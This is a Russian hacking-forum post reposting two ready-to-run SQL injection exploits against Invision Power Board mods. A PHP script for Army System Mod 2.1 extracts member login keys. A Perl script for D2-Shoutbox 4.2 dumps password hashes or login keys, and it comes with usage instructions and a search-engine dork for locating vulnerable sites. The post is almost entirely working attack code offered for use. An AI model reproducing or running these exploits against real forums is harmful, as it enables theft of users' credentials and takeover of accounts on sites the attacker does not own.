|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
Уязвимости Модов IPB
Автор _GaLs_
Уязвимости Модов IPB
Army System
SQL Injection Exploit
PHP код:
<?php
/* --------------------------- EXPLOIT ---------------------------
Invision Power Board Army System Mod 2.1 SQL Injection Exploit
Tested on: Latest version (2.1.0)
Discovered on: 06.02.2006 by Alex & fRoGGz
Credits to: SecuBox Labs
PLEASE READ THIS !
The query of the SQL Injection depends about the number of fields in the sql table
We have successfully tested the exploit on a new fresh IPB 2.1.x with Army
System Mod 2.1 installed
IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
$target = "http://site.com/forums/"; // <--- Where ?
$prefix = "ibf_"; // <--- SQL prefix ?
$id = 1; // <--- Who ?
print_r(get_infos($target,$prefix,$id));
if(!get_infos($target,$prefix,$id)) echo "failed";
function get_infos($target,$prefix,$id) {
$inject = "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,";
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,";
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,NULL,NULL,";
$inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,";
$inject.= "NULL+FROM+".$prefix."members+WHERE+id=";
$filename = $target . $inject . $id;
$handle = fopen ($filename, "r");
$infos = array();
if (feof($handle)) { continue 2; }
if ( $handle ) {
while ( ($buffer = fgets( $handle )) )
{
if ( strpos( $buffer, "<td class='pformleft' width=\"35%\">Name</td>") ) {
$infos['md5'] = strip_tags ( fgets( $handle) );
break;
}
}
}
fclose ($handle);
if (count($infos) == 1) return $infos;
return false;
}
?>
D2-Shoutbox [версия 4.2]
SQL Injection Exploit
PHP код:
#!/usr/bin/perl
################################################## #######
# _______ _______ ______ #
# |______ |______ | \ #
# ______| |______ |_____/ #
# #
#D2-Shoutbox 4.2(IPB Mod)<=SQL injection #
#Created By SkOd #
#SED security Team #
#http://www.sed-team.be #
#skod.uk@gmail.com #
#ISRAEL #
################################################## #######
#google:
#"Powered By D2-Shoutbox 4.2"
################################################## #######
use IO::Socket;
$host = $ARGV[0];
$user = $ARGV[2];
$uid = $ARGV[3];
$pid = $ARGV[4];
$type = $ARGV[5];
sub type()
{
if($type==1){$row="password";}
if($type==2){$row="member_login_key";}
else{print "Just 1 Or 2\n";exit();}
$sql="index.php?act=Shoutbox&view=saved&load=-1%20UNION%20SELECT%20null,null,null,null,".$row.",null,null,null%20FROM%20ibf_members%20where%20id= ".$user."/*";
$path = $ARGV[1].$sql;
}
sub header()
{
print q{
################################################## #####################
### D2-Shoutbox 4.2 SQL injection Exploit ###
### Tested On D2-Shoutbox 4.2 And IPB 2.4 ###
### Created By SkOd, Sed Security Team ###
################################################## #####################
sedSB.pl [HOST] [DIR] [victim] [my id] [my md5 hash] [1-(1.*)/2-(2.*)]
sedSB.pl www.host.com /forum/ 2 4500 f3b8a336b250ee595dc6ef6bac38b647 2
################################################## #####################
}
}
sub sedsock()
{
$sedsock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => "80") || die "[-]Connect Failed\r\n";
print $sedsock "GET $path HTTP/1.1\n";
print $sedsock "Host: $host\n";
print $sedsock "Accept: */*\n";
print $sedsock "Cookie: member_id=$uid; pass_hash=$pid\n";
print $sedsock "Connection: close\n\n";
while($res = <$sedsock>){
$res =~ m/shout_s'>(.*?)<\/textarea>/ && print "[+]User: $user\n[+]Md5 Hash: $1\n";
}
}
if(@ARGV < 6){
header();
}else{
type();
sedsock();
}
Remote SQL Injection Exploit
PS Материал востановлен
Дата публикации: 24.05.2007, 16:56
Автор _GaLs_
Последний раз редактировалось jokester; 27.10.2008 в 09:05..
|